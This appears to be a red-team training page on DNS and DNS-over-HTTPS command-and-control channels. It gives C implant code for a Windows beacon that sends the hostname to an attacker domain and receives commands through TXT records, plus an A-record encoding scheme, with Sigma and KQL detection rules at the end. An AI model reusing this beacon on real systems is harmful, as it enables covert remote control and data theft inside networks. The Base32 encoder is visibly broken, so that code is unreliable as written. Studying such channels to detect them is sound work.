DNS and HTTPS C2 Channels
DNS is the most reliable covert channel in enterprise networks — it is rarely fully blocked, often uninspected beyond domain reputation, and provides a protocol that inherently carries arbitrary data in query labels and response records. HTTPS C2 over legitimate-looking domains is the highest-bandwidth option. Understanding both channels at the protocol level — how data is encoded, where it hides, what it looks like to a DNS resolver versus a full PCAP analyst — is essential for both operators and the detection engineers who hunt them.
Your HTTPS C2 channel was blocked by the target's web proxy after domain reputation blocking flagged your newly-registered domain. You need a fallback C2 channel that works even when all direct outbound HTTPS to unknown domains is blocked — as long as the host can resolve external DNS (which it can, forwarded through the corporate DNS resolver). Design a DNS C2 channel that survives this network posture.
DNS C2 Mechanics
DNS Beacon Implementation
// DNS C2 beacon: sends data in subdomain labels, receives commands in TXT records.
// Uses DnsQuery_W (Windows DNS API) — no raw socket privileges needed.
// Base32 encoding: RFC 4648 alphabet (A-Z2-7), safe for DNS labels.
#include <windows.h>
#include <windns.h>
#pragma comment(lib, "dnsapi.lib")
static const char B32[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
void Base32Encode(const BYTE* in, DWORD inLen, char* out) {
int i = 0, idx = 0;
BYTE cur, next;
while (idx < (int)inLen) {
cur = in[idx];
next = (idx + 1 < (int)inLen) ? in[idx+1] : 0;
switch (i % 5) {
case 0: out[i>>3*8/5] = B32[(cur>>3)&0x1F]; break;
case 1: out[i>>3*8/5] = B32[((cur&7)<<2)|((next&0xC0)>>6)]; idx++; break;
}
i++;
}
out[i] = 0;
}
// Send data chunk via DNS query, receive TXT response
BOOL DnsSend(const BYTE* data, DWORD len, DWORD seq,
char* replyBuf, DWORD replyMax) {
char encoded[128] = {0};
Base32Encode(data, (len > 38 ? 38 : len), encoded);
char fqdn[256];
sprintf_s(fqdn, "%s.%05u.c2.attacker[.]com", encoded, seq);
WCHAR wFqdn[256];
MultiByteToWideChar(CP_ACP, 0, fqdn, -1, wFqdn, 256);
PDNS_RECORD pRec = NULL;
DNS_STATUS r = DnsQuery_W(wFqdn, DNS_TYPE_TEXT,
DNS_QUERY_BYPASS_CACHE, NULL, &pRec, NULL);
if (r == ERROR_SUCCESS && pRec) {
// TXT record contains base32-encoded command from attacker NS
if (pRec->wType == DNS_TYPE_TEXT) {
PSTR* strings = pRec->Data.TXT.pStringArray;
strncpy_s(replyBuf, replyMax, strings[0], replyMax-1);
}
DnsRecordListFree(pRec, DnsFreeRecordList);
return TRUE;
}
return FALSE;
}
VOID DnsBeaconLoop() {
BYTE buf[38];
char reply[256];
DWORD seq = 0;
// First check-in: send hostname + username
CHAR hostUser[38] = {0};
gethostname(hostUser, 16);
while (TRUE) {
DnsSend((BYTE*)hostUser, (DWORD)strlen(hostUser), seq++, reply, sizeof(reply));
if (strlen(reply))
ProcessCommand(reply);
Sleep(ApplyJitter(30000, 25));
}
}
DNS-over-HTTPS C2
// DoH (RFC 8484): DNS queries wrapped in HTTPS to a DoH resolver.
// Bypasses corporate DNS inspection — traffic looks like HTTPS to 8.8.8.8 or 1.1.1.1.
// Corporate DNS resolver is bypassed entirely if DoH is allowed outbound.
// Many org proxies explicitly allow Google DNS (8.8.8.8:443) and Cloudflare (1.1.1.1:443).
// DoH request: GET https://dns.google/resolve?name=DATA.c2.attacker.com&type=TXT
// Response: JSON with "Answer" array containing TXT records.
// WinHTTP DoH query:
BOOL DoHQuery(const char* fqdn, char* result, DWORD resultMax) {
WCHAR url[512];
swprintf_s(url, L"https://dns.google/resolve?name=%S&type=TXT",
fqdn); // %S = char* → wide
HINTERNET hSess = WinHttpOpen(L"Mozilla/5.0 ...",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConn = WinHttpConnect(hSess, L"dns.google", 443, 0);
HINTERNET hReq = WinHttpOpenRequest(hConn, L"GET", url,
NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE);
WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
NULL, 0, 0, 0);
WinHttpReceiveResponse(hReq, NULL);
// Read JSON response, parse "data" field from Answer section
char json[4096]; DWORD read = 0;
WinHttpReadData(hReq, json, sizeof(json)-1, &read);
json[read] = 0;
// Extract TXT value between "\"data\":\"" and "\""
char* start = strstr(json, "\"data\":\"");
if (start) {
start += 8;
char* end = strchr(start, '"');
if (end) {
DWORD len = (DWORD)(end - start);
if (len < resultMax) { memcpy(result, start, len); result[len]=0; }
}
}
WinHttpCloseHandle(hReq);
WinHttpCloseHandle(hConn);
WinHttpCloseHandle(hSess);
return (result[0] != 0);
}
Malleable HTTPS Profile Concepts
C2 Channel Comparison
| Channel | Bandwidth | Firewall bypass | Detection difficulty | Latency |
|---|---|---|---|---|
| DNS TXT/A | ~60 bytes/query | High — rarely blocked | High (volume + entropy analytics) | High (~seconds/query) |
| DoH (HTTPS to 8.8.8.8) | Same as DNS | Very high — proxy allows Google DNS | Very high (trusted endpoint) | High |
| HTTPS malleable | High (KB/s) | Medium — proxy may block new domains | Medium (behavioral only) | Low |
| SMB named pipe | High | N/A (internal only) | Medium (Event 5145) | Very low |
| ICMP tunnel | Low (~64B/packet) | Low — often blocked at perimeter | Low (ICMP with data payload) | Medium |
Detection Engineering
title: High DNS Query Rate with High Subdomain Entropy
logsource:
product: zeek
service: dns
detection:
selection:
qtype: TXT
timeframe: 60s
condition: selection | count() by src_ip,query_root_domain > 20
level: high
tags: [attack.command_and_control, T1071.004]
title: Long DNS Subdomain Labels (Possible Data Exfil/C2)
logsource:
product: zeek
service: dns
detection:
selection:
query|re: '^[A-Z2-7]{40,}' # Base32 pattern in first label
condition: selection
level: high
-- MDE KQL: DNS C2 — high query volume per domain root
DeviceNetworkEvents
| where Timestamp > ago(1h)
| where ActionType == "DnsConnectionInspected"
or ActionType == "DnsQueryResponse"
| extend domain_root = extract(@"[^.]+\.[^.]+$", 0, RemoteUrl)
| summarize
query_count = count(),
unique_labels = dcount(RemoteUrl),
avg_label_len = avg(strlen(RemoteUrl))
by DeviceName, domain_root, InitiatingProcessFileName, bin(Timestamp, 5m)
| where query_count > 50 and unique_labels > 30
| order by query_count desc
-- MDE KQL: outbound HTTPS to DNS resolver (DoH bypass)
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemotePort == 443
| where RemoteIP in ("8.8.8.8","8.8.4.4","1.1.1.1","1.0.0.1","9.9.9.9")
| where InitiatingProcessFileName !in~ (
"chrome.exe","msedge.exe","firefox.exe","svchost.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName,
RemoteIP, RemotePort, SentBytes, ReceivedBytes
Q&A
A DNS C2 channel uses only A record responses (4-byte IPv4 addresses) instead of TXT records. How does the operator encode commands in 4-byte packets, and what is the capacity/latency tradeoff?
A record responses return exactly 4 bytes per record (the IPv4 address octets). The attacker's authoritative name server controls what A record it returns for each query. This is exploitable as a downlink channel: the command byte stream is fragmented into 4-byte chunks, and each chunk is encoded as a fake IPv4 address. The implant makes sequential queries (e.g., seq0000.c2.attacker.com, seq0001.c2.attacker.com, …) and reassembles the A record responses into the command byte stream.
Capacity: 4 bytes per round-trip DNS query. A 200-byte command requires 50 sequential queries. At a corporate DNS resolver latency of ~20-100ms per query, that's 1-5 seconds for 200 bytes — workable for short commands like whoami or short PowerShell snippets, but impractical for downloading shellcode. Optimisation: the name server can return multiple A records per response (DNS supports multiple RR per answer section), giving 4×N bytes per query. Most resolvers forward all records. With 4 A records per response, you get 16 bytes per query — 200 bytes in 13 queries (~260ms-1.3s).
The tradeoff: A records are universally allowed and logged with less scrutiny than TXT records (TXT is associated with SPF/DKIM configs, not arbitrary hostname lookups). A record-based downlink is more network-transparent. However, fake RFC-1918 or loopback addresses in A records (10.x.x.x, 192.168.x.x, 127.0.0.x) are conspicuous if inspected. The attacker typically uses routable-looking addresses (e.g., in the 1.x.x.x range) as byte encoding space, at the cost that the implant must not actually attempt to connect to these addresses — it just reads the bytes and discards the IP interpretation.